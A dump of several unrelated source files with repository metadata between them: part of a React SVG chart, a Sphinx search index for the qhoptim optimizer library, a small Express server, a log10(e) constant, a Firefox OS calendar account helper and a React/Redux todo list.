178.85745494265 319 L 176.77771709448 319 L 174.69797924631 319 L 172.61824139814 319 L 170.53850354997 319 L 168.4587657018 319 L 166.37902785363 319 L 164.29929000546 319 L 162.21955215729 319 L 160.13981430912 319 L 158.06007646095 319 L 155.98033861278 319 L 153.90060076461 319 L 151.82086291644 319 L 149.74112506827 319 L 147.6613872201 319 L 145.58164937193 319 L 143.50191152376 319 L 141.42217367559 319 L 139.34243582742 319 L 137.26269797925 319 L 135.18296013108 319 L 133.10322228291 319 L 131.02348443474 319 L 128.94374658656 319 L 126.86400873839 319 L 124.78427089022 319 L 122.70453304205 319 L 120.62479519388 319 L 118.54505734571 319 L 116.46531949754 319 L 114.38558164937 319 L 112.3058438012 319 L 110.22610595303 319 L 108.14636810486 319 L 106.06663025669 319 L 103.98689240852 319 L 101.90715456035 319 L 99.827416712179 319 L 97.747678864009 319 L 95.667941015838 319 L 93.588203167668 319 L 91.508465319498 319 L 89.428727471327 319 L 87.348989623157 319 L 85.269251774986 319 L 83.189513926816 319 L 81.109776078646 319 L 79.030038230475 319 L 76.950300382305 319 L 74.870562534134 319 L 72.790824685964 319 L 70.711086837794 319 L 68.631348989623 319 L 66.551611141453 319 L 64.471873293282 319 L 62.392135445112 319 L 60.312397596942 319 L 58.232659748771 319 L 56.152921900601 319 L 54.07318405243 319 L 51.99344620426 319 L 49.91370835609 319 L 47.833970507919 319 L 45.754232659749 319 L 43.674494811578 319 L 41.594756963408 319 L 39.515019115238 319 L 37.435281267067 319 L 35.355543418897 319 L 33.275805570726 319 L 31.196067722556 319 L 29.116329874386 319 L 27.036592026215 319 L 24.956854178045 319 L 22.877116329874 319 L 20.797378481704 319 L 18.717640633534 319 L 16.637902785363 319 L 14.558164937193 319 L 12.478427089022 319 L 10.398689240852 319 L 8.3189513926816 319 L 6.2392135445112 319 L 4.1594756963408 319 L 2.0797378481704 319 L 0 319" /> <Path fill="none" d="M 0 229.26985714285718 L 2.0797378481704 230.31799999999998 L 4.1594756963408 228.6014761904762 L 6.2392135445112 229.46125714285716 L 8.3189513926816 228.27640000000002 L 10.398689240852 226.6905142857143 L 12.478427089022 227.21914285714286 L 14.558164937193 230.3909142857143 L 16.637902785363 230.26331428571427 L 18.717640633534 229.35188571428571 L 20.797378481704 224.44840000000002 L 22.877116329874 210.4306285714286 L 24.956854178045 177.0358857142857 L 27.036592026215 166.08051428571426 L 29.116329874386 169.36165714285715 L 31.196067722556 175.3892380952381 L 33.275805570726 223.51874285714285 L 35.355543418897 233.1981142857143 L 37.435281267067 207.86040000000003 L 39.515019115238 190.16957142857143 L 41.594756963408 181.68417142857143 L 43.674494811578 162.9452 L 45.754232659749 165.57011428571428 L 47.833970507919 180.21980952380952 L 49.91370835609 183.41588571428574 L 51.99344620426 212.05297142857142 L 54.07318405243 217.15697142857144 L 56.152921900601 217.3757142857143 L 58.232659748771 223.1906285714286 L 60.312397596942 206.2562857142857 L 62.392135445112 197.06908571428573 L 64.471873293282 189.6865142857143 L 66.551611141453 188.33152380952382 L 68.631348989623 176.52548571428574 L 70.711086837794 152.8648 L 72.790824685964 160.33851428571433 L 74.870562534134 156.2872142857143 L 76.950300382305 154.97931428571428 L 79.030038230475 181.192 L 81.109776078646 191.10834285714287 L 83.189513926816 183.83514285714284 L 85.269251774986 188.26468571428572 L 87.348989623157 185.45748571428572 L 89.428727471327 188.17354285714288 L 91.508465319498 136.9330285714286 L 93.588203167668 111.66519047619047 L 95.667941015838 112.30622857142856 L 97.747678864009 90.55954285714287 L 99.827416712179 77.56257142857146 L 101.90715456035 101.60150000000002 L 103.98689240852 108.73342857142859 L 106.06663025669 112.8166285714286 L 108.14636810486 155.23451428571428 L 110.22610595303 172.6428 L 112.3058438012 193.19247619047619 L 114.38558164937 181.68417142857143 L 116.46531949754 174.83022857142856 L 118.54505734571 169.9632 L 120.62479519388 139.8131428571429 L 122.70453304205 104.68668571428569 L 124.78427089022 98.7806285714286 L 126.86400873839 77.32560000000001 L 128.94374658656 86.05708571428573 L 131.02348443474 106.01737142857141 L 133.10322228291 139.63085714285717 L 135.18296013108 165.64302857142857 L 137.26269797925 203.9959428571429 L 139.34243582742 225.0165238095238 L 141.42217367559 229.71645714285714 L 143.50191152376 214.53205714285716 L 145.58164937193 202.95691428571428 L 147.6613872201 202.40550000000002 L 149.74112506827 194.35302857142858 L 151.82086291644 199.6757714285714 L 153.90060076461 218.81577142857145 L 155.98033861278 170.11814285714283 L 158.06007646095 146.13845714285713 L 160.13981430912 143.02137142857143 L 162.21955215729 142.96668571428572 L 164.29929000546 170.91108571428572 L 166.37902785363 238.90821428571428 L 168.4587657018 247.50754285714288 L 170.53850354997 250.5517142857143 L 172.61824139814 248.1273142857143 L 174.69797924631 241.14880952380952 L 176.77771709448 239.7057142857143 L 178.85745494265 227.21914285714286 L 180.93719279082 220.74800000000005 L 183.016930639 218.67450000000002 L 185.09666848717 226.52645714285717 L 187.17640633534 225.87022857142858 L 189.25614418351 224.4484 L 191.33588203168 209.50097142857143 L 193.41561987985 210.79520000000002 L 195.49535772802 216.39137142857146 L 197.57509557619 216.08148571428572 L 199.65483342436 239.23177142857145 L 201.73457127253 260.1824761904762 L 203.8143091207 255.78331428571428 L 205.89404696887 258.0801142857143 L 207.97378481704 264.7882285714286 L 210.05352266521 268.3245714285714 L 212.13326051338 278.69207142857147 L 214.21299836155 260.8690857142857 L 216.29273620972 257.6426285714286 L 218.37247405789 247.74451428571427 L 220.45221190606 241.39185714285713 L 222.53194975423 247.8721142857143 L 224.6116876024 242.53114285714287 L 226.69142545057 237.15371428571427 L 228.77116329874 237.40435714285712 L 230.85090114691 230.24508571428572 L 232.93063899508 214.47737142857142 L 235.01037684326 214.25862857142857 L 237.09011469143 211.25091428571432 L 239.1698525396 211.92537142857145 L 241.24959038777 225.14108571428574 L 243.32932823594 222.46148571428571 L 245.40906608411 214.69611428571432 L 247.48880393228 210.9957142857143 L 249.56854178045 208.26142857142855 L 251.64827962862 208.4984 L 253.72801747679 222.58908571428572 L 255.80775532496 235.71821428571428 L 257.88749317313 248.94760000000002 L 259.9672310213 243.31497142857143 L 262.04696886947 243.18737142857142 L 264.12670671764 241.07285714285715 L 266.20644456581 199.35980952380953 L 268.28618241398 153.32051428571432 L 270.36592026215 153.9038285714286 L 272.44565811032 157.13028571428575 L 274.52539595849 157.03914285714288 L 276.60513380666 203.68605714285712 L 278.68487165483 236.33342857142856 L 280.764609503 193.58742857142857 L 282.84434735117 93.58852380952382 L 284.92408519934 82.84885714285713 L 287.00382304752 67.02645714285711 L 289.08356089569 63.39897142857143 L 291.16329874386 81.46348571428572 L 293.24303659203 48.89814285714283 L 295.3227744402 45.425599999999974 L 297.40251228837 48.34217142857142 L 299.48225013654 41.178342857142866 L 301.56198798471 88.39034285714288 L 303.64172583288 131.1363428571429 L 305.72146368105 144.57080000000002 L 307.80120152922 171.54908571428575 L 309.88093937739 182.49838095238098 L 311.96067722556 165.97114285714287 L 314.04041507373 158.35160000000002 L 316.1201529219 156.54697142857142 L 318.19989077007 139.50325714285717 L 320.27962861824 173.17142857142858 L 322.35936646641 184.49137142857145 L 324.43910431458 192.78537142857144 L 326.51884216275 205.89171428571427 L 328.59858001092 226.45961904761904 L 330.67831785909 226.14365714285714 L 332.75805570726 187.59022857142855 L 334.83779355543 136.82365714285714 L 336.9175314036 84.17042857142857 L 338.99726925177 71.20080000000002 L 341.07700709995 71.54714285714289 L 343.15674494812 107.36628571428571 L 345.23648279629 142.54742857142858 L 347.31622064446 219.472 L 349.39595849263 221.98754285714284 L 351.4756963408 232.12262857142858 L 353.55543418897 196.10297142857144 L 355.63517203714 189.8657619047619 L 357.71490988531 183.3612 L 359.79464773348 151.1695428571429 L 361.87438558165 147.56028571428575 L 363.95412342982 156.9252142857143 L 366.03386127799 161.23171428571428 L 368.11359912616 162.52594285714287 L 370.19333697433 192.11091428571427 L 372.2730748225 166.75497142857142 L 374.35281267067 140.78533333333337 L 376.43255051884 122.47777142857143 L 378.51228836701 57.63874285714286 L 380.59202621518 45.49851428571429 L 382.67176406335 48.282928571428556 L 384.75150191152 44.09491428571431 L 386.83123975969 50.456685714285754 L 388.91097760786 86.95028571428574 L 390.99071545603 65.01523809523815 L 393.07045330421 75.15639999999999 L 395.15019115238 87.05965714285716 L 397.22992900055 119.59765714285712 L 399.30966684872 228.58628571428574 L 401.38940469689 235.14857142857144 L 403.46914254506 189.12142857142857 L 405.54888039323 157.8412 L 407.6286182414 154.45068571428573 L 409.70835608957 154.396 L 411.78809393774 157.51308571428572 L 413.86783178591 220.71154285714286 L 415.94756963408 242.7498857142857 L 418.02730748225 241.69262857142857 L 420.10704533042 246.54142857142858 L 422.18678317859 243.4608 L 424.26652102676 229.26074285714287 L 426.34625887493 212.47222857142856 L 428.4259967231 208.7855 L 430.50573457127 207.75102857142858 L 432.58547241944 213.5659428571429 L 434.66521026761 214.9513142857143 L 436.74494811578 225.6697142857143 L 438.82468596395 217.53977142857144 L 440.90442381212 211.85245714285713 L 442.98416166029 213.67531428571428 L 445.06389950847 212.74565714285717 L 447.14363735664 216.1452857142857 L 449.22337520481 234.18245714285712 L 451.30311305298 237.66411428571428 L 453.38285090115 236.20582857142858 L 455.46258874932 248.3825142857143 L 457.54232659749 243.93474285714285 L 459.62206444566 242.31240000000003 L 461.70180229383 249.7678857142857 L 463.781540142 259.17990476190477 L 465.86127799017 266.84805714285716 L 467.94101583834 273.7566857142857 L 470.02075368651 267.0121142857143 L 472.10049153468 260.75971428571427 L 474.18022938285 256.18434285714284 L 476.25996723102 257.9889714285714 L 478.33970507919 258.99154285714286 L 480.41944292736 231.2112 L 482.49918077553 216.85923809523808 L 484.5789186237 214.09457142857144 L 486.65865647187 209.4098285714286 L 488.73839432004 211.70662857142855 L 490.81813216821 231.68514285714286 L 492.89787001638 225.81554285714287 L 494.97760786455 223.82862857142857 L 497.05734571273 218.76108571428574 L 499.1370835609 223.5005142857143 L 501.21682140907 235.13338095238095 L 503.29655925724 237.68234285714286 L 505.37629710541 244.08057142857143 L 507.45603495358 251.66365714285712 L 509.53577280175 248.6605 L 511.61551064992 247.01537142857143 L 513.69524849809 221.34954285714286 L 515.77498634626 149.43782857142855 L 517.85472419443 141.89120000000003 L 519.9344620426 143.51354285714288 L 522.01419989077 147.23217142857143 L 524.09393773894 188.06417142857143 L 526.17367558711 216.95645714285715 L 528.25341343528 197.30909523809524 L 530.33315128345 196.1941142857143 L 532.41288913162 204.21468571428574 L 534.49262697979 203.55845714285715 L 536.57236482796 228.65464285714285 L 538.65210267613 231.6486857142857 L 540.7318405243 219.83657142857146 L 542.81157837247 208.47409523809526" stroke="#56bd9f" strokeWidth="2" stroke-linejoin="round" stroke-linecap="round" /> </G> <G transform="translate(46,45) scale(1 1)" clip-Path="none" /> </G> <G> <Text x="59.369743309667" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="middle" transform="translate(0,0)" y="383" opacity="1" > 2015 </Text> <Text x="167.81321682141" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="middle" transform="translate(0,0)" y="383" opacity="1" > 2016 </Text> <Text x="276.55379574003" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="middle" transform="translate(0,0)" y="383" opacity="1" > 2017 </Text> <Text x="384.99726925177" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="middle" transform="translate(0,0)" y="383" opacity="1" > 2018 </Text> <Text x="493.44074276352" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="middle" transform="translate(0,0)" y="383" opacity="1" > 2019 </Text> </G> <G> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="362" opacity="1" > 0% </Text> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="316" opacity="1" > 5% </Text> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="271" opacity="1" > 10% </Text> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="225" opacity="1" > 15% </Text> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="180" opacity="1" > 20% </Text> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="134" opacity="1" > 25% </Text> <Text x="31" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="89" opacity="1" > 30% </Text> <Text x="0" style={{ color: '#666666', fontSize: '11', fill: '#666666' }} textAnchor="end" transform="translate(0,0)" y="-9999" > 35% </Text> </G> <G transform="translate(0,0)"> <G transform="translate(0,10)"> <Text x="46" y="15" style={{ color: '#666666', fill: '#666666' }}> Zoom </Text> <G transform="translate(158,0)"> <Rect fill="none" x="0" y="0" width="32" height="22" rx="2" ry="2" /> <Text x="4.59375" style={{ fontWeight: 'normal', color: '#333333', fill: '#333333' }} y="14" > YTD </Text> </G> <G transform="translate(232,0)"> <Rect fill="rgb(225, 243, 239)" fillOpacity=" .50" x="0" y="0" width="32" height="22" rx="2" ry="2" /> <Text x="8.6640625" style={{ fontWeight: 'bold', fill: '#000000' }} y="14" > All </Text> </G> </G> <G transform="translate(331,10)"> <G transform="translate(0,0)" fill="#666666"> <Text x="2" y="14" style={{ fontSize: '12', fill: '#666666' }}> From </Text> </G> <G transform="translate(38,0)"> <Rect fill="none" x="0.5" y="0.5" width="94" height="21" stroke="#cccccc" strokeWidth="1" /> <Text x="11.9140625" y="14" style={{ fontSize: '12', fill: '#333333' }} > <Tspan>Nov 17, 2014</Tspan> </Text> </G> <G transform="translate(142,0)" fill="#666666"> <Text x="2" y="14" style={{ fontSize: '12', fill: '#666666' }}> To </Text> </G> <G transform="translate(165,0)"> <Rect fill="none" x="0.5" y="0.5" width="94" height="21" stroke="#cccccc" strokeWidth="1" /> <Text x="11.9140625" y="14" style={{ fontSize: '12', fill: '#333333' }} > <Tspan>Nov 22, 2019</Tspan> </Text> </G> </G> </G> </Svg> ); export default Svg2;
86.270408
15,164
0.734638
462c0e13d8f71e17b26cc79f49d2b04c88d6a4e0
5,534
js
JavaScript
docs/searchindex.js
allenwoods/qhoptim
d256026cfe93ab33eeed95a989691493c7e54937
[ "MIT" ]
103
2019-01-09T00:35:47.000Z
2022-03-27T15:49:52.000Z
docs/searchindex.js
allenwoods/qhoptim
d256026cfe93ab33eeed95a989691493c7e54937
[ "MIT" ]
2
2020-03-07T20:51:39.000Z
2020-11-13T18:18:42.000Z
docs/searchindex.js
allenwoods/qhoptim
d256026cfe93ab33eeed95a989691493c7e54937
[ "MIT" ]
15
2019-01-10T03:10:04.000Z
2021-11-06T16:04:22.000Z
Search.setIndex({docnames:["index","install","pyt","tf"],envversion:{"sphinx.domains.c":1,"sphinx.domains.changeset":1,"sphinx.domains.citation":1,"sphinx.domains.cpp":1,"sphinx.domains.javascript":1,"sphinx.domains.math":2,"sphinx.domains.python":1,"sphinx.domains.rst":1,"sphinx.domains.std":1,"sphinx.ext.intersphinx":1,"sphinx.ext.todo":2,"sphinx.ext.viewcode":1,sphinx:56},filenames:["index.rst","install.rst","pyt.rst","tf.rst"],objects:{"qhoptim.pyt":{QHAdam:[2,0,1,""],QHAdamW:[2,2,1,""],QHM:[2,0,1,""]},"qhoptim.pyt.QHAdam":{from_nadam:[2,1,1,""],step:[2,1,1,""]},"qhoptim.pyt.QHM":{from_accsgd:[2,1,1,""],from_pid:[2,1,1,""],from_robust_momentum:[2,1,1,""],from_synthesized_nesterov:[2,1,1,""],from_two_state_optimizer:[2,1,1,""],step:[2,1,1,""]},"qhoptim.tf":{QHAdamOptimizer:[3,0,1,""],QHMOptimizer:[3,0,1,""]},"qhoptim.tf.QHAdamOptimizer":{from_nadam:[3,1,1,""]},"qhoptim.tf.QHMOptimizer":{from_accsgd:[3,1,1,""],from_pid:[3,1,1,""],from_robust_momentum:[3,1,1,""],from_synthesized_nesterov:[3,1,1,""],from_two_state_optimizer:[3,1,1,""]}},objnames:{"0":["py","class","Python class"],"1":["py","method","Python method"],"2":["py","function","Python function"]},objtypes:{"0":"py:class","1":"py:method","2":"py:function"},terms:{"class":[2,3],"default":[2,3],"float":[2,3],"import":[0,2,3],"long":[2,3],"return":[2,3],"short":[2,3],"true":2,"try":0,Are:0,For:[0,2,3],The:[0,1,2,3],Then:0,Use:[0,2,3],a_t:[2,3],abov:1,acceler:0,access:[2,3],accsgd:[2,3],accumul:2,adam:0,added:[2,3],advantag:[2,3],advisor:0,algorithm:[0,2,3],align:[2,3],all:[0,2],almost:[2,3],alpha:[0,2,3],analys:0,ani:[2,3],api:0,appli:2,applic:[2,3],appreci:0,arbitrari:[2,3],arg:2,argument:2,ask:0,author:0,averag:[2,3],backward:2,base:2,begin:[2,3],below:0,beta1:[0,2,3],beta2:[0,2,3],beta:[0,2,3],beta_1:0,beta_:0,between:[2,3],bia:[2,3],booktitl:0,bool:[2,3],both:0,buffer:[2,3],bugfix:0,calcul:[2,3],callabl:2,can:0,care:[2,3],cdot:[2,3],certainli:[2,3],cite:0,classmethod:[2,3],clone:1,closur:2,coeffici:[2,3],com:1,compon:1,comput:[2,3],condit:[2,3],confer:0,constant:[0,2,3],construct:2,constructor:2,contain:[2,3],content:0,contribut:0,control:[2,3],converg:[2,3],convert:[0,2,3],correct:[2,3],current:0,cyru:[2,3],dampen:[2,3],decai:2,decoupl:2,decouple_weight_decai:2,deep:0,defin:2,delta:[2,3],deni:0,denomin:[2,3],depend:0,deriv:[2,3],describ:[2,3],descript:[2,3],detail:[0,2,3],dict:[2,3],differ:[2,3],direct:2,directli:1,discount:[0,2,3],divid:0,dozat:[2,3],due:[2,3],element:[2,3],empir:0,end:[2,3],eps:[2,3],epsilon:3,equival:[0,2],estim:[2,3],etc:[2,3],exampl:[2,3],exclus:[2,3],extrem:1,facebook:0,facebookresearch:1,factor:[2,3],fals:[2,3],find:0,first:[2,3],five:3,follow:[0,2,3],fork:0,formul:[2,3],found:0,frac:[2,3],free:[2,3],from:[0,1,2,3],from_accsgd:[2,3],from_nadam:[2,3],from_pid:[2,3],from_robust_momentum:[2,3],from_synthesized_nesterov:[2,3],from_two_state_optim:[2,3],g_t:[2,3],gain:[2,3],get:0,git:1,github:1,grad:2,gradient:[0,2,3],group:2,handi:0,have:1,help:0,here:[0,2,3],howev:[2,3],http:1,hutter:2,hyperparamet:[0,2,3],iclr:0,ident:[2,3],immedi:[0,2,3],implement:[0,2,3],improv:[2,3],inproceed:0,input:2,insight:0,instal:0,instanti:0,instruct:0,integr:[2,3],intern:0,interpol:[2,3],irrelev:[2,3],issu:0,iter:2,its:2,jerri:0,k_d:[2,3],k_i:[2,3],k_p:[2,3],kappa:[2,3],kidambi:[2,3],kwarg:2,learn:[0,2,3],learning_r:[0,3],left:[2,3],leftarrow:[2,3],lessard:[2,3],librari:[0,1],like:[0,2,3],liner:0,link:0,lipschitz:[2,3],lock:3,loschilov:2,loss:2,loss_fn:2,ma2019qh:0,mani:[2,3],mathemat:[2,3],mean:[2,3],menubar:0,method:2,model:[0,2],moment:[2,3],momentum:[0,2,3],much:0,must:[1,2,3],nabla_t:[2,3],nadam:[2,3],name:[2,3],need:0,nesterov:[0,2,3],newer:1,nois:[2,3],none:[2,3],normal:0,note:[2,3],nu1:[0,3],nu2:[0,3],nu_1:0,nu_2:0,numer:[2,3],nus:[0,2],old:0,one:0,option:[2,3],other:[0,2,3],out:0,paper:[0,2,3],param:2,paramet:[2,3],parameter:[2,3],perform:2,pid:[2,3],pip:[0,1],plain:[2,3],pleas:0,practic:[2,3],project:0,proport:[2,3],propos:[0,2],provid:0,pyt:[0,2],python:1,pytorch:[0,1],qhadam:0,qhadamoptim:[0,3],qhadamw:2,qhmoptim:[0,3],qhoptim:[1,2,3],rate:[0,2,3],ratio:[2,3],read:0,recht:[2,3],recommend:0,recov:[2,3],recoveri:[2,3],reevalu:2,regular:[2,3],repositori:0,represent:0,requir:[2,3],research:0,respect:[2,3],rho:[2,3],right:[2,3],robust:[2,3],run:[2,3],same:2,satisfi:[2,3],scale:[2,3],scoi:[2,3],second:[2,3],section:[2,3],see:[2,3],sgd:[0,2,3],share:2,should:[2,3],similarli:[0,1],simpl:[2,3],singl:2,someth:[0,2,3],sourc:[1,2,3],specif:[2,3],squar:[2,3],stabil:[2,3],star:0,start:0,state:[2,3],statist:[2,3],step:[2,3],str:[2,3],straightforward:1,subtl:[2,3],suggest:0,synthes:[2,3],tabl:0,target:2,tensorflow:[0,1],term:[2,3],theoret:0,theta_:[2,3],theta_t:[2,3],thi:[0,1,2,3],those:0,three:[2,3],time:2,titl:0,torch:2,tripl:[2,3],tso:[2,3],tupl:2,two:[2,3],unchang:0,uninstal:0,unnorm:0,updat:3,use:[0,1,2,3],use_lock:3,used:[2,3],useful:0,uses:[2,3],using:0,valu:[2,3],variant:2,vector:[2,3],veri:0,via:[1,2,3],weight:2,weight_decai:2,weight_decay_typ:2,were:0,when:[2,3],whether:[2,3],which:[2,3],who:0,widget:0,work:1,would:[2,3],yarat:[0,2,3],year:0,you:[0,1,2,3],your:[0,2,3],zero_grad:2},titles:["qhoptim: Quasi-hyperbolic optimization","Installation","Quasi-hyperbolic optimizers for PyTorch","Quasi-hyperbolic optimizers for TensorFlow"],titleterms:{api:[2,3],choos:0,depend:1,get:[2,3],github:0,hyperbol:[0,2,3],index:0,instal:1,optim:[0,2,3],paramet:0,pytorch:2,qhadam:[2,3],qhm:[0,2,3],qhoptim:0,quasi:[0,2,3],quickstart:0,refer:[0,2,3],start:[2,3],tensorflow:3,uninstal:1}})
5,534
5,534
0.668052
462ca3d856a6c8abe55a7b2cd7d983b7e6d2741e
639
js
JavaScript
app.js
pennyren/wenote
8696e3d4bf753913cf9c17475b3124530d26ba0e
[ "MIT" ]
null
null
null
app.js
pennyren/wenote
8696e3d4bf753913cf9c17475b3124530d26ba0e
[ "MIT" ]
1
2015-12-27T06:35:26.000Z
2015-12-27T06:35:26.000Z
app.js
pennyren/wenote
8696e3d4bf753913cf9c17475b3124530d26ba0e
[ "MIT" ]
null
null
null
var express = require('express'); var app = express(); var cookieParser = require('cookie-parser'); var bodyParser = require('body-parser'); var startRoutes = require('./lib/route/index'); app.set('port', process.env.PROT || 8080); app.use(express.static(__dirname + '/public')); app.use(cookieParser()); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: true })); app.get('/', function (req, res) { res.sendFile(__dirname + '/index.html'); }); startRoutes(app); app.listen(app.get('port'), function () { console.log('Express started on http://localhost:' + app.get('port') + '; press Ctrl-C to terminate.') });
33.631579
103
0.677621
462cae259f328f6aa50cb5e74f65183b538b0cb1
200
js
JavaScript
lib/index.js
const-io/log10e
539ae808722cf5374a1e5cf6ae93af9be2fd07d3
[ "MIT" ]
1
2016-03-23T06:51:41.000Z
2016-03-23T06:51:41.000Z
lib/index.js
const-io/log10e
539ae808722cf5374a1e5cf6ae93af9be2fd07d3
[ "MIT" ]
null
null
null
lib/index.js
const-io/log10e
539ae808722cf5374a1e5cf6ae93af9be2fd07d3
[ "MIT" ]
null
null
null
'use strict'; // log10(e) var LOG10E = 4.34294481903251827651128918916605082294397005803666566114453783165864649208870774729224949338431748318706106745e-01; // EXPORTS // module.exports = LOG10E;
20
130
0.82
462cc421b12a5a39911529261c8f49efc2e3c834
179
js
JavaScript
client/react-native/src/helpers/numberValidator.js
ksajan/FINTECH-OPEN-MONTH-HACKATHON
605986dc66717ac61166c148bd05fd60e4d69df6
[ "MIT" ]
null
null
null
client/react-native/src/helpers/numberValidator.js
ksajan/FINTECH-OPEN-MONTH-HACKATHON
605986dc66717ac61166c148bd05fd60e4d69df6
[ "MIT" ]
null
null
null
client/react-native/src/helpers/numberValidator.js
ksajan/FINTECH-OPEN-MONTH-HACKATHON
605986dc66717ac61166c148bd05fd60e4d69df6
[ "MIT" ]
null
null
null
export function numberValidator(number) { if (!number) return "Number can't be empty"; if (number.length !== 10) return "Number should be 10 characters long."; return ""; }
29.833333
74
0.692737
462cdfa26ffa026e4b675995e6bb595d185087ec
2,663
js
JavaScript
apps/calendar/js/utils/account_creation.js
dlxswangli/gaia
686cbb252f1ff4a0c2335dc507b05ded2ae90a0b
[ "Apache-2.0" ]
1
2019-09-07T18:44:40.000Z
2019-09-07T18:44:40.000Z
apps/calendar/js/utils/account_creation.js
dlxswangli/gaia
686cbb252f1ff4a0c2335dc507b05ded2ae90a0b
[ "Apache-2.0" ]
3
2016-09-10T15:41:48.000Z
2016-09-10T15:42:41.000Z
apps/calendar/js/utils/account_creation.js
dlxswangli/gaia
686cbb252f1ff4a0c2335dc507b05ded2ae90a0b
[ "Apache-2.0" ]
1
2016-01-25T22:23:32.000Z
2016-01-25T22:23:32.000Z
Calendar.ns('Utils').AccountCreation = (function() { 'use strict'; /** * Helper class to create accounts. * Emits events during the process of * creation to allow views to hook into * the full cycle while further separating * this logic from their own. * * * Events: * * - authorize * - calendar sync * * * @param {Calendar.App} app instance of app. */ function AccountCreation(app) { this.app = app || Calendar.App; Calendar.Responder.call(this); Calendar.Promise.denodeifyAll(this, [ 'send' ]); } AccountCreation.prototype = { __proto__: Calendar.Responder.prototype, /** * Sends a request to create an account. * * @param {Calendar.Models.Account} model account details. * @param {Function} callback fired when entire transaction is complete. */ send: function(model, callback) { var self = this; var accountStore = this.app.store('Account'); var calendarStore = this.app.store('Calendar'); // begin by persisting the account accountStore.verifyAndPersist(model, function(accErr, id, result) { if (accErr) { // we bail when we cannot create the account // but also give custom error events. self.emit('authorizeError', accErr); callback(accErr); return; } self.emit('authorize', result); // finally sync the account so when // we exit the request the user actually // has some calendars. This should not take // too long (compared to event sync). accountStore.sync(result, function(syncErr) { if (syncErr) { self.emit('calendarSyncError', syncErr); callback(syncErr); return; } function syncCalendars(err, calendars) { if (err) { console.log('Error fetch calendar list in account creation'); return callback(err); } self.emit('calendarSync'); // note we don't wait for any of this to complete // we just begin the sync and let the event handlers // on the sync controller do the work. for (var key in calendars) { self.app.syncController.calendar( result, calendars[key] ); } callback(null, result); } // begin sync of calendars calendarStore.remotesByAccount( result._id, syncCalendars ); }); }); } }; return AccountCreation; }());
26.366337
76
0.561397
462ce1484f97d64bb0ebfdc54b1e83f679cd7dc1
2,656
js
JavaScript
react-redux-demo/src/list/TodoList.js
weiximei/redux-demo
84dac8725c145e0492f9575f9e11a60d78ff8596
[ "Apache-2.0" ]
1
2020-03-09T07:42:52.000Z
2020-03-09T07:42:52.000Z
react-redux-demo/src/list/TodoList.js
weiximei/redux-demo
84dac8725c145e0492f9575f9e11a60d78ff8596
[ "Apache-2.0" ]
7
2021-03-10T10:25:58.000Z
2022-02-27T01:06:26.000Z
react-redux-demo/src/list/TodoList.js
weiximei/redux-demo
84dac8725c145e0492f9575f9e11a60d78ff8596
[ "Apache-2.0" ]
null
null
null
import React, { Component } from 'react' import { Input, Button, List } from 'antd'; import { connect } from 'react-redux' import { addList } from '../redux/action/list' /** * TodoList 一个列表 */ class TodoList extends Component { constructor(props) { super(props) this.inpVal = React.createRef(); this.state = { // data: [ // "这是第一行", // "这是第二行", // "这是第三行" // ], data: [] } } componentDidMount() { this.setState({ data: this.props.list.data || [] }) } componentDidUpdate(prevProps) { // 典型用法(不要忘记比较 props) if (this.props.list.data !== prevProps.list.data) { this.setState({ data: this.props.list.data || [] }) } } addData() { const { dispatch } = this.props const inputValue = this.inpVal.current.state.value console.log('当前值:', inputValue) if (inputValue === undefined) { return } // this.setState({ data: this.state.data.concat(inputValue) }) // 更新store dispatch(addList(inputValue)) this.inpVal.current.state.value = undefined } render() { // console.log('this.props: ', this.props) return ( <> <div style={{ margin: '10px' }}> <div> <Input ref={ this.inpVal } placeholder="请输入内容" style={{ width: '200px' }}/> <Button type="primary" style={{ marginLeft: '10px' }} onClick={this.addData.bind(this)}>确认</Button> <List style={{ marginTop: '10px', width: '200px' }} bordered dataSource={this.state.data} renderItem={(item, index) => ( <List.Item key={index}> {item} </List.Item> )} /> </div> </div> </> ) } } /** * 把 store 里面 state 状态,附加到 props 上 * 这里的两个参数,connect(..) 会自动赋值 * * @param {*} state store的全局状态, connect(..) 会自动赋值 * @param {*} ownProps 组件本身自己带的props, connect(..) 会自动赋值 */ const mapStateToProps = (state, ownProps) => { /** * 这里可以只拿取你需要的 state 里面的数据,这样可以节省性能开销 * 比如我这里只要 state 里面的 list * 然后组件里面可以通过 props 获取 list 的值 */ return { list: state.list } } /** * connect 是一个容器 * 把 原有的组件进行装饰一下(装饰者模式) */ export default connect(mapStateToProps)(TodoList)
26.56
123
0.467244
462d1b5898807b032fa2240bd0be0a119e2a50a7
21,131
js
JavaScript
src/modals/ChangeParamsModal/ChangeParamsModal.js
pmiklos/bonded-stablecoin-ui
214bfa1086a7f67424b8b069cb966e4b43ada070
[ "MIT" ]
5
2020-09-29T00:09:55.000Z
2021-05-17T01:51:54.000Z
src/modals/ChangeParamsModal/ChangeParamsModal.js
pmiklos/bonded-stablecoin-ui
214bfa1086a7f67424b8b069cb966e4b43ada070
[ "MIT" ]
2
2020-09-23T16:26:27.000Z
2020-10-28T12:09:15.000Z
src/modals/ChangeParamsModal/ChangeParamsModal.js
Taump/bonded-stablecoin-ui
afe6582a8812bc709073cb86fbb4d0460c83fe72
[ "MIT" ]
6
2020-09-21T12:56:07.000Z
2022-03-04T06:19:00.000Z
